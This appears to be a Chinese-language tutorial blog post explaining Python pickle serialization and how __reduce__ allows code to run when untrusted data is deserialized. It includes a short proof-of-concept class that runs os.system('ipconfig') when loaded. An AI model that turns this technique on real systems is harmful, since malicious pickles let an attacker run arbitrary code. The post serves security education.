当我们希望在 Python 中保存一个物件(例如将机器学习训练好的 Model 储存为档案,使得未来程序执行时可以将物件状态直接读取进记忆体中,不用从头训练),此时程序可以将物件的属性与状态利用特定的规则编码,转为资料序列进行储存,这便称为序列化 (Serialize) 。
序列化是许多程序语言都具备的功能,例如先前介绍过的 PHP;而将被序列化的物件还原的过程就称为反序列化。
Pickle 是 Python 中提供序列化功能的常见 Module,(python2 中,除了 pickle 还有 cPickle)
pickle.dumps()
pickle.loads()
Python 中的 __reduce__
,类似 PHP 物件中的 __wakeup()
方法,会在反序列化时自动呼叫
import pickle
import os
class Baba(object):
def __reduce__(self):
return os.system,("ipconfig",)
payload = pickle.dumps(Baba())
Baba
Baba
里面有个 __reduce__
,这是一个 magic method ,在反序列化时会自动被呼叫,并且自动执行回传的参数:
os.system("ipconfig")
。pickle.dumps(Baba())
会建立一个 Baba
物件,并进行序列化。payload
传入 pickle.loads
,就会成功执行 os.system
,得到 ipconfig
的结果
<<: 【在厨房想30天的演算法】Day 28 资讯安全与演算法 : 讯息监别码
>>: Day 28 - 用 canvas 与 pdfjs 做文件签名(上)
Ruby on Rails 是使用Ruby这套开放原始码(采用MIT授权)、 物件导向程序语言所开发...
725. Split Linked List in Parts https://leetcode.c...
软件架构设计原则一切都是为了下面这两点,别忘了。 低耦合 高内聚 LSP 这个原则比较倾向是在物件导...
说明 拓朴排序的图,不能为环 主要应用在专案是否可以照顺序进行 利用堆叠去找到流程 橘色数字为执行到...
LINE电脑版影片无法拨放,只看到第一个画格 影片都不会动 要下载下来存档 另外使用媒体播放 处理方...